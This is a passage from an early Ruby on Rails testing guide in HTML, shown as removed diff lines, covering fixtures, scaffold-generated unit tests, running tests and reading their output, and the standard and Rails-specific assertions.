-<div class="paragraph"><p>The <tt>unit</tt> folder is meant to hold tests for your models, the <tt>functional</tt> folder is meant to hold tests for your controllers, and the <tt>integration</tt> folder is meant to hold tests that involve any number of controllers interacting. Fixtures are a way of organizing test data; they reside in the <tt>fixtures</tt> folder. The <tt>test_helper.rb</tt> file holds the default configuration for your tests.</p></div>
-<h3 id="_the_low_down_on_fixtures">2.3. The Low-Down on Fixtures</h3>
-<div class="paragraph"><p>For good tests, you&#8217;ll need to give some thought to setting up test data. In Rails, you can handle this by defining and customizing fixtures.</p></div>
-<h4 id="_what_are_fixtures">2.3.1. What Are Fixtures?</h4>
-<div class="paragraph"><p><em>Fixtures</em> is a fancy word for sample data. Fixtures allow you to populate your testing database with predefined data before your tests run. Fixtures are database independent and assume one of two formats: <strong>YAML</strong> or <strong>CSV</strong>. In this guide we will use <strong>YAML</strong> which is the preferred format.</p></div>
-<div class="paragraph"><p>You&#8217;ll find fixtures under your <tt>test/fixtures</tt> directory. When you run <tt>script/generate model</tt> to create a new model, fixture stubs will be automatically created and placed in this directory.</p></div>
-<h4 id="_yaml">2.3.2. YAML</h4>
-<div class="paragraph"><p>YAML-formatted fixtures are a very human-friendly way to describe your sample data. These types of fixtures have the <strong>.yml</strong> file extension (as in <tt>users.yml</tt>).</p></div>
-<div class="paragraph"><p>Here&#8217;s a sample YAML fixture file:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># low &amp; behold! I am a YAML comment!</span></span>
-david<span style="color: #990000">:</span>
- name<span style="color: #990000">:</span> David Heinemeier Hansson
- birthday<span style="color: #990000">:</span> <span style="color: #993399">1979</span><span style="color: #990000">-</span><span style="color: #993399">10</span><span style="color: #990000">-</span><span style="color: #993399">15</span>
- profession<span style="color: #990000">:</span> Systems development
-
-steve<span style="color: #990000">:</span>
- name<span style="color: #990000">:</span> Steve Ross Kellock
- birthday<span style="color: #990000">:</span> <span style="color: #993399">1974</span><span style="color: #990000">-</span><span style="color: #993399">09</span><span style="color: #990000">-</span><span style="color: #993399">27</span>
- profession<span style="color: #990000">:</span> guy with keyboard</tt></pre></div></div>
-<div class="paragraph"><p>Each fixture is given a name followed by an indented list of colon-separated key/value pairs. Records are separated by a blank space. You can place comments in a fixture file by using the # character in the first column.</p></div>
-<h4 id="_erb_8217_in_it_up">2.3.3. ERb&#8217;in It Up</h4>
-<div class="paragraph"><p>ERb allows you embed ruby code within templates. Both the YAML and CSV fixture formats are pre-processed with ERb when you load fixtures. This allows you to use Ruby to help you generate some sample data.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;% earth_size = 20 -%&gt;</span>
-mercury<span style="color: #990000">:</span>
- size<span style="color: #990000">:</span> <span style="color: #FF0000">&lt;%= earth_size / 50 %&gt;</span>
- brightest_on<span style="color: #990000">:</span> <span style="color: #FF0000">&lt;%= 113.days.ago.to_s(:db) %&gt;</span>
-
-venus<span style="color: #990000">:</span>
- size<span style="color: #990000">:</span> <span style="color: #FF0000">&lt;%= earth_size / 2 %&gt;</span>
- brightest_on<span style="color: #990000">:</span> <span style="color: #FF0000">&lt;%= 67.days.ago.to_s(:db) %&gt;</span>
-
-mars<span style="color: #990000">:</span>
- size<span style="color: #990000">:</span> <span style="color: #FF0000">&lt;%= earth_size - 69 %&gt;</span>
- brightest_on<span style="color: #990000">:</span> <span style="color: #FF0000">&lt;%= 13.days.from_now.to_s(:db) %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>Anything encased within the</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="color: #FF0000">&lt;% %&gt;</span></tt></pre></div></div>
-<div class="paragraph"><p>tag is considered Ruby code. When this fixture is loaded, the <tt>size</tt> attribute of the three records will be set to 20/50, 20/2, and 20-69 respectively. The <tt>brightest_on</tt> attribute will also be evaluated and formatted by Rails to be compatible with the database.</p></div>
-<h4 id="_fixtures_in_action">2.3.4. Fixtures in Action</h4>
-<div class="paragraph"><p>Rails by default automatically loads all fixtures from the <em>test/fixtures</em> folder for your unit and functional test. Loading involves three steps:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-Remove any existing data from the table corresponding to the fixture
-</p>
-</li>
-<li>
-<p>
-Load the fixture data into the table
-</p>
-</li>
-<li>
-<p>
-Dump the fixture data into a variable in case you want to access it directly
-</p>
-</li>
-</ul></div>
-<h4 id="_hashes_with_special_powers">2.3.5. Hashes with Special Powers</h4>
-<div class="paragraph"><p>Fixtures are basically Hash objects. As mentioned in point #3 above, you can access the hash object directly because it is automatically setup as a local variable of the test case. For example:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># this will return the Hash for the fixture named david</span></span>
-users<span style="color: #990000">(:</span>david<span style="color: #990000">)</span>
-
-<span style="font-style: italic"><span style="color: #9A1900"># this will return the property for david called id</span></span>
-users<span style="color: #990000">(:</span>david<span style="color: #990000">).</span>id</tt></pre></div></div>
-<div class="paragraph"><p>Fixtures can also transform themselves into the form of the original class. Thus, you can get at the methods only available to that class.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-style: italic"><span style="color: #9A1900"># using the find method, we grab the "real" david as a User</span></span>
-david <span style="color: #990000">=</span> users<span style="color: #990000">(:</span>david<span style="color: #990000">).</span>find
-
-<span style="font-style: italic"><span style="color: #9A1900"># and now we have access to methods only available to a User class</span></span>
-email<span style="color: #990000">(</span>david<span style="color: #990000">.</span>girlfriend<span style="color: #990000">.</span>email<span style="color: #990000">,</span> david<span style="color: #990000">.</span>location_tonight<span style="color: #990000">)</span></tt></pre></div></div>
-</div>
-<h2 id="_unit_testing_your_models">3. Unit Testing your Models</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>In Rails, unit tests are what you write to test your models.</p></div>
-<div class="paragraph"><p>For this guide we will be using Rails <em>scaffolding</em>. It will create the model, a migration, controller and views for the new resource in a single operation. It will also create a full test suite following Rails best practises. I will be using examples from this generated code and would be supplementing it with additional examples where necessary.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">For more information on Rails <em>scaffolding</em>, refer to <a href="../getting_started_with_rails.html">Getting Started with Rails</a></td>
-</tr></table>
-</div>
-<div class="paragraph"><p>When you use <tt>script/generate scaffold</tt>, for a resource among other things it creates a test stub in the <tt>test/unit</tt> folder:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>$ script/generate scaffold post title:string body:text
-...
-create app/models/post.rb
-create test/unit/post_test.rb
-create test/fixtures/posts.yml
-...</tt></pre>
-</div></div>
-<div class="paragraph"><p>The default test stub in <tt>test/unit/post_test.rb</tt> looks like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostTest <span style="color: #990000">&lt;</span> ActiveSupport<span style="color: #990000">::</span>TestCase
- <span style="font-style: italic"><span style="color: #9A1900"># Replace this with your real tests.</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_truth
- assert <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>A line by line examination of this file will help get you oriented to Rails testing code and terminology.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #000080">require</span></span> <span style="color: #FF0000">'test_helper'</span></tt></pre></div></div>
-<div class="paragraph"><p>As you know by now that <tt>test_helper.rb</tt> specifies the default configuration to run our tests. This is included with all the tests, so any methods added to this file are available to all your tests.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> PostTest <span style="color: #990000">&lt;</span> ActiveSupport<span style="color: #990000">::</span>TestCase</tt></pre></div></div>
-<div class="paragraph"><p>The <tt>PostTest</tt> class defines a <em>test case</em> because it inherits from <tt>ActiveSupport::TestCase</tt>. <tt>PostTest</tt> thus has all the methods available from <tt>ActiveSupport::TestCase</tt>. You&#8217;ll see those methods a little later in this guide.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_truth</tt></pre></div></div>
-<div class="paragraph"><p>Any method defined within a test case that begins with <tt>test</tt> (case sensitive) is simply called a test. So, <tt>test_password</tt>, <tt>test_valid_password</tt> and <tt>testValidPassword</tt> all are legal test names and are run automatically when the test case is run.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>assert <span style="font-weight: bold"><span style="color: #0000FF">true</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This line of code is called an <em>assertion</em>. An assertion is a line of code that evaluates an object (or expression) for expected results. For example, an assertion can check:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-is this value = that value?
-</p>
-</li>
-<li>
-<p>
-is this object nil?
-</p>
-</li>
-<li>
-<p>
-does this line of code throw an exception?
-</p>
-</li>
-<li>
-<p>
-is the user&#8217;s password greater than 5 characters?
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>Every test contains one or more assertions. Only when all the assertions are successful the test passes.</p></div>
-<h3 id="_preparing_you_application_for_testing">3.1. Preparing you Application for Testing</h3>
-<div class="paragraph"><p>Before you can run your tests you need to ensure that the test database structure is current. For this you can use the following rake commands:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ rake db<span style="color: #990000">:</span>migrate
-<span style="color: #990000">...</span>
-$ rake db<span style="color: #990000">:</span><span style="font-weight: bold"><span style="color: #0000FF">test</span></span><span style="color: #990000">:</span>load</tt></pre></div></div>
-<div class="paragraph"><p>Above <tt>rake db:migrate</tt> runs any pending migrations on the <em>developemnt</em> environment and updates <tt>db/schema.rb</tt>. <tt>rake db:test:load</tt> recreates the test database from the current db/schema.rb. On subsequent attempts it is a good to first run <tt>db:test:prepare</tt> as it first checks for pending migrations and warns you appropriately.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content"><tt>db:test:prepare</tt> will fail with an error if db/schema.rb doesn&#8217;t exists.</td>
-</tr></table>
-</div>
-<h4 id="_rake_tasks_for_preparing_your_application_for_testing">3.1.1. Rake Tasks for Preparing your Application for Testing</h4>
-<div class="tableblock">
-<table rules="all"
-width="100%"
-frame="border"
-cellspacing="0" cellpadding="4">
-<col width="50%" />
-<col width="50%" />
-<thead valign="top">
-<tr>
-<th align="left">Tasks </th>
-<th align="left">Description</th>
-</tr>
-</thead>
-<tbody valign="top">
-<tr>
-<td align="left"><p class="table"><tt>rake db:test:clone</tt></p></td>
-<td align="left"><p class="table">Recreate the test database from the current environment&#8217;s database schema</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>rake db:test:clone_structure</tt></p></td>
-<td align="left"><p class="table">Recreate the test databases from the development structure</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>rake db:test:load</tt></p></td>
-<td align="left"><p class="table">Recreate the test database from the current <tt>schema.rb</tt></p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>rake db:test:prepare</tt></p></td>
-<td align="left"><p class="table">Check for pending migrations and load the test schema</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>rake db:test:purge</tt></p></td>
-<td align="left"><p class="table">Empty the test database.</p></td>
-</tr>
-</tbody>
-</table>
-</div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">You can see all these rake tasks and their descriptions by running <tt>rake \-\-tasks \-\-describe</tt></td>
-</tr></table>
-</div>
-<h3 id="_running_tests">3.2. Running Tests</h3>
-<div class="paragraph"><p>Running a test is as simple as invoking the file containing the test cases through Ruby:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>$ cd <span style="font-weight: bold"><span style="color: #0000FF">test</span></span>
-$ ruby unit/post_test<span style="color: #990000">.</span>rb
-
-Loaded suite unit/post_test
-Started
-<span style="color: #990000">.</span>
-Finished <span style="font-weight: bold"><span style="color: #0000FF">in</span></span> <span style="color: #993399">0.023513</span> seconds<span style="color: #990000">.</span>
-
-<span style="color: #993399">1</span> tests<span style="color: #990000">,</span> <span style="color: #993399">1</span> assertions<span style="color: #990000">,</span> <span style="color: #993399">0</span> failures<span style="color: #990000">,</span> <span style="color: #993399">0</span> errors</tt></pre></div></div>
-<div class="paragraph"><p>This will run all the test methods from the test case.</p></div>
-<div class="paragraph"><p>You can also run a particular test method from the test case by using the <tt>-n</tt> switch with the <tt>test method name</tt>.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>$ ruby unit/post_test.rb -n test_truth
-
-Loaded suite unit/post_test
-Started
-.
-Finished in 0.023513 seconds.
-
-1 tests, 1 assertions, 0 failures, 0 errors</tt></pre>
-</div></div>
-<div class="paragraph"><p>The <tt>.</tt> (dot) above indicates a passing test. When a test fails you see an <tt>F</tt>; when a test throws an error you see an <tt>E</tt> in its place. The last line of the output is the summary.</p></div>
-<div class="paragraph"><p>To see how a test failure is reported, you can add a failing test to the <tt>post_test.rb</tt> test case.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_not_save_post_without_title
- post <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>new
- assert <span style="color: #990000">!</span>post<span style="color: #990000">.</span>save
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Let us run this newly added test.</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
-Loaded suite unit/post_test
-Started
-F
-Finished in 0.197094 seconds.
-
- 1) Failure:
-test_should_not_save_post_without_title(PostTest)
- [unit/post_test.rb:11:in `test_should_not_save_post_without_title'
- /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
- /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']:
-&lt;false&gt; is not true.
-
-1 tests, 1 assertions, 1 failures, 0 errors</tt></pre>
-</div></div>
-<div class="paragraph"><p>In the output, <tt>F</tt> denotes a failure. You can see the corresponding trace shown under <tt>1)</tt> along with the name of the failing test. The next few lines contain the stack trace followed by a message which mentions the actual value and the expected value by the assertion. The default assertion messages provide just enough information to help pinpoint the error. To make the assertion failure message more readable every assertion provides an optional message parameter, as shown here:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_not_save_post_without_title
- post <span style="color: #990000">=</span> Post<span style="color: #990000">.</span>new
- assert <span style="color: #990000">!</span>post<span style="color: #990000">.</span>save<span style="color: #990000">,</span> <span style="color: #FF0000">"Saved the post without a title"</span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Running this test shows the friendlier assertion message:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
-Loaded suite unit/post_test
-Started
-F
-Finished in 0.198093 seconds.
-
- 1) Failure:
-test_should_not_save_post_without_title(PostTest)
- [unit/post_test.rb:11:in `test_should_not_save_post_without_title'
- /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
- /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run']:
-Saved the post without a title.
-&lt;false&gt; is not true.
-
-1 tests, 1 assertions, 1 failures, 0 errors</tt></pre>
-</div></div>
-<div class="paragraph"><p>Now to get this test to pass we can add a model level validation for the <em>title</em> field.</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> Post <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Base
- validates_presence_of <span style="color: #990000">:</span>title
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Now the test should pass. Let us verify by running the test again:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>$ ruby unit/post_test.rb -n test_should_not_save_post_without_title
-Loaded suite unit/post_test
-Started
-.
-Finished in 0.193608 seconds.
-
-1 tests, 1 assertions, 0 failures, 0 errors</tt></pre>
-</div></div>
-<div class="paragraph"><p>Now if you noticed we first wrote a test which fails for a desired functionality, then we wrote some code which adds the functionality and finally we ensured that our test passes. This approach to software development is referred to as <em>Test-Driven Development</em> (TDD).</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">Many Rails developers practice <em>Test-Driven Development</em> (TDD). This is an excellent way to build up a test suite that exercises every part of your application. TDD is beyond the scope of this guide, but one place to start is with <a href="http://andrzejonsoftware.blogspot.com/2007/05/15-tdd-steps-to-create-rails.html">15 TDD steps to create a Rails application</a>.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>To see how an error gets reported, here&#8217;s a test containing an error:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> test_should_report_error
- <span style="font-style: italic"><span style="color: #9A1900"># some_undefined_variable is not defined elsewhere in the test case</span></span>
- some_undefined_variable
- assert <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Now you can see even more output in the console from running the tests:</p></div>
-<div class="listingblock">
-<div class="content">
-<pre><tt>$ ruby unit/post_test.rb -n test_should_report_error
-Loaded suite unit/post_test
-Started
-E
-Finished in 0.195757 seconds.
-
- 1) Error:
-test_should_report_error(PostTest):
-NameError: undefined local variable or method `some_undefined_variable' for #&lt;PostTest:0x2cc9de8&gt;
- /opt/local/lib/ruby/gems/1.8/gems/actionpack-2.1.1/lib/action_controller/test_process.rb:467:in `method_missing'
- unit/post_test.rb:16:in `test_should_report_error'
- /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `__send__'
- /opt/local/lib/ruby/gems/1.8/gems/activesupport-2.1.1/lib/active_support/testing/setup_and_teardown.rb:33:in `run'
-
-1 tests, 0 assertions, 0 failures, 1 errors</tt></pre>
-</div></div>
-<div class="paragraph"><p>Notice the <em>E</em> in the output. It denotes a test with error.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">The execution of each test method stops as soon as any error or a assertion failure is encountered, and the test suite continues with the next method. All test methods are executed in alphabetical order.</td>
-</tr></table>
-</div>
-<h3 id="_what_to_include_in_your_unit_tests">3.3. What to Include in Your Unit Tests</h3>
-<div class="paragraph"><p>Ideally you would like to include a test for everything which could possibly break. It&#8217;s a good practice to have at least one test for each of your validations and at least one test for every method in your model.</p></div>
-<h3 id="_assertions_available">3.4. Assertions Available</h3>
-<div class="paragraph"><p>By now you&#8217;ve caught a glimpse of some of the assertions that are available. Assertions are the worker bees of testing. They are the ones that actually perform the checks to ensure that things are going as planned.</p></div>
-<div class="paragraph"><p>There are a bunch of different types of assertions you can use. Here&#8217;s the complete list of assertions that ship with <tt>test/unit</tt>, the testing library used by Rails. The <tt>[msg]</tt> parameter is an optional string message you can specify to make your test failure messages clearer. It&#8217;s not required.</p></div>
-<div class="tableblock">
-<table rules="all"
-width="100%"
-frame="border"
-cellspacing="0" cellpadding="4">
-<col width="50%" />
-<col width="50%" />
-<thead valign="top">
-<tr>
-<th align="left">Assertion </th>
-<th align="left">Purpose</th>
-</tr>
-</thead>
-<tbody valign="top">
-<tr>
-<td align="left"><p class="table"><tt>assert( boolean, [msg] )</tt></p></td>
-<td align="left"><p class="table">Ensures that the object/expression is true.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_equal( obj1, obj2, [msg] )</tt></p></td>
-<td align="left"><p class="table">Ensures that <tt>obj1 == obj2</tt> is true.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_not_equal( obj1, obj2, [msg] )</tt></p></td>
-<td align="left"><p class="table">Ensures that <tt>obj1 == obj2</tt> is false.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_same( obj1, obj2, [msg] )</tt></p></td>
-<td align="left"><p class="table">Ensures that <tt>obj1.equal?(obj2)</tt> is true.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_not_same( obj1, obj2, [msg] )</tt></p></td>
-<td align="left"><p class="table">Ensures that <tt>obj1.equal?(obj2)</tt> is false.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_nil( obj, [msg] )</tt></p></td>
-<td align="left"><p class="table">Ensures that <tt>obj.nil?</tt> is true.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_not_nil( obj, [msg] )</tt></p></td>
-<td align="left"><p class="table">Ensures that <tt>obj.nil?</tt> is false.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_match( regexp, string, [msg] )</tt></p></td>
-<td align="left"><p class="table">Ensures that a string matches the regular expression.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_no_match( regexp, string, [msg] )</tt></p></td>
-<td align="left"><p class="table">Ensures that a string doesn&#8217;t matches the regular expression.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_in_delta( expecting, actual, delta, [msg] )</tt></p></td>
-<td align="left"><p class="table">Ensures that the numbers <tt>expecting</tt> and <tt>actual</tt> are within <tt>delta</tt> of each other.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_throws( symbol, [msg] ) { block }</tt></p></td>
-<td align="left"><p class="table">Ensures that the given block throws the symbol.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_raises( exception1, exception2, ... ) { block }</tt></p></td>
-<td align="left"><p class="table">Ensures that the given block raises one of the given exceptions.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_nothing_raised( exception1, exception2, ... ) { block }</tt></p></td>
-<td align="left"><p class="table">Ensures that the given block doesn&#8217;t raise one of the given exceptions.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_instance_of( class, obj, [msg] )</tt></p></td>
-<td align="left"><p class="table">Ensures that <tt>obj</tt> is of the <tt>class</tt> type.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_kind_of( class, obj, [msg] )</tt></p></td>
-<td align="left"><p class="table">Ensures that <tt>obj</tt> is or descends from <tt>class</tt>.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_respond_to( obj, symbol, [msg] )</tt></p></td>
-<td align="left"><p class="table">Ensures that <tt>obj</tt> has a method called <tt>symbol</tt>.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_operator( obj1, operator, obj2, [msg] )</tt></p></td>
-<td align="left"><p class="table">Ensures that <tt>obj1.operator(obj2)</tt> is true.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_send( array, [msg] )</tt></p></td>
-<td align="left"><p class="table">Ensures that executing the method listed in <tt>array[1]</tt> on the object in <tt>array[0]</tt> with the parameters of <tt>array[2 and up]</tt> is true. This one is weird eh?</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>flunk( [msg] )</tt></p></td>
-<td align="left"><p class="table">Ensures failure. This is useful to explicitly mark a test that isn&#8217;t finished yet.</p></td>
-</tr>
-</tbody>
-</table>
-</div>
-<div class="paragraph"><p>Because of the modular nature of the testing framework, it is possible to create your own assertions. In fact, that&#8217;s exactly what Rails does. It includes some specialized assertions to make your life easier.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Creating your own assertions is an advanced topic that we won&#8217;t cover in this tutorial.</td>
-</tr></table>
-</div>
-<h3 id="_rails_specific_assertions">3.5. Rails Specific Assertions</h3>
-<div class="paragraph"><p>Rails adds some custom assertions of its own to the <tt>test/unit</tt> framework:</p></div>
-<div class="tableblock">
-<table rules="all"
-width="100%"
-frame="border"
-cellspacing="0" cellpadding="4">
-<col width="50%" />
-<col width="50%" />
-<thead valign="top">
-<tr>
-<th align="left">Assertion </th>
-<th align="left">Purpose</th>
-</tr>
-</thead>
-<tbody valign="top">
-<tr>
-<td align="left"><p class="table"><tt>assert_valid(record)</tt></p></td>
-<td align="left"><p class="table">Ensures that the passed record is valid by Active Record standards and returns any error messages if it is not.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_difference(expressions, difference = 1, message = nil) {...}</tt></p></td>
-<td align="left"><p class="table">Test numeric difference between the return value of an expression as a result of what is evaluated in the yielded block.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_no_difference(expressions, message = nil, &amp;block)</tt></p></td>
-<td align="left"><p class="table">Asserts that the numeric result of evaluating an expression is not changed before and after invoking the passed in block.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_recognizes(expected_options, path, extras={}, message=nil)</tt></p></td>
-<td align="left"><p class="table">Asserts that the routing of the given path was handled correctly and that the parsed options (given in the expected_options hash) match path. Basically, it asserts that Rails recognizes the route given by expected_options.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_generates(expected_path, options, defaults={}, extras = {}, message=nil)</tt></p></td>
-<td align="left"><p class="table">Asserts that the provided options can be used to generate the provided path. This is the inverse of assert_recognizes. The extras parameter is used to tell the request the names and values of additional request parameters that would be in a query string. The message parameter allows you to specify a custom error message for assertion failures.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_response(type, message = nil)</tt></p></td>
-<td align="left"><p class="table">Asserts that the response comes with a specific status code. You can specify <tt>:success</tt> to indicate 200, <tt>:redirect</tt> to indicate 300-399, <tt>:missing</tt> to indicate 404, or <tt>:error</tt> to match the 500-599 range</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_redirected_to(options = {}, message=nil)</tt></p></td>
-<td align="left"><p class="table">Assert that the redirection options passed in match those of the redirect called in the latest action. This match can be partial, such that <tt>assert_redirected_to(:controller =&gt; "weblog")</tt> will also match the redirection of <tt>redirect_to(:controller =&gt; "weblog", :action =&gt; "show")</tt> and so on.</p></td>
-</tr>
-<tr>
-<td align="left"><p class="table"><tt>assert_template(expected = nil, message=nil)</tt></p></td>
-<td align="left"><p class="table">Asserts that the request was rendered with the appropriate template file.</p></td>
-</tr>
-</tbody>
-</table>
-</div>
-<div class="paragraph"><p>You&#8217;ll see the usage of some of these assertions in the next chapter.</p></div>
-</div>
-<h2 id="_functional_tests_for_your_controllers">4. Functional Tests for Your Controllers</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>In Rails, testing the various actions of a single controller is called writing functional tests for that controller. Controllers handle the incoming web requests to your application and eventually respond with a rendered view.</p></div>
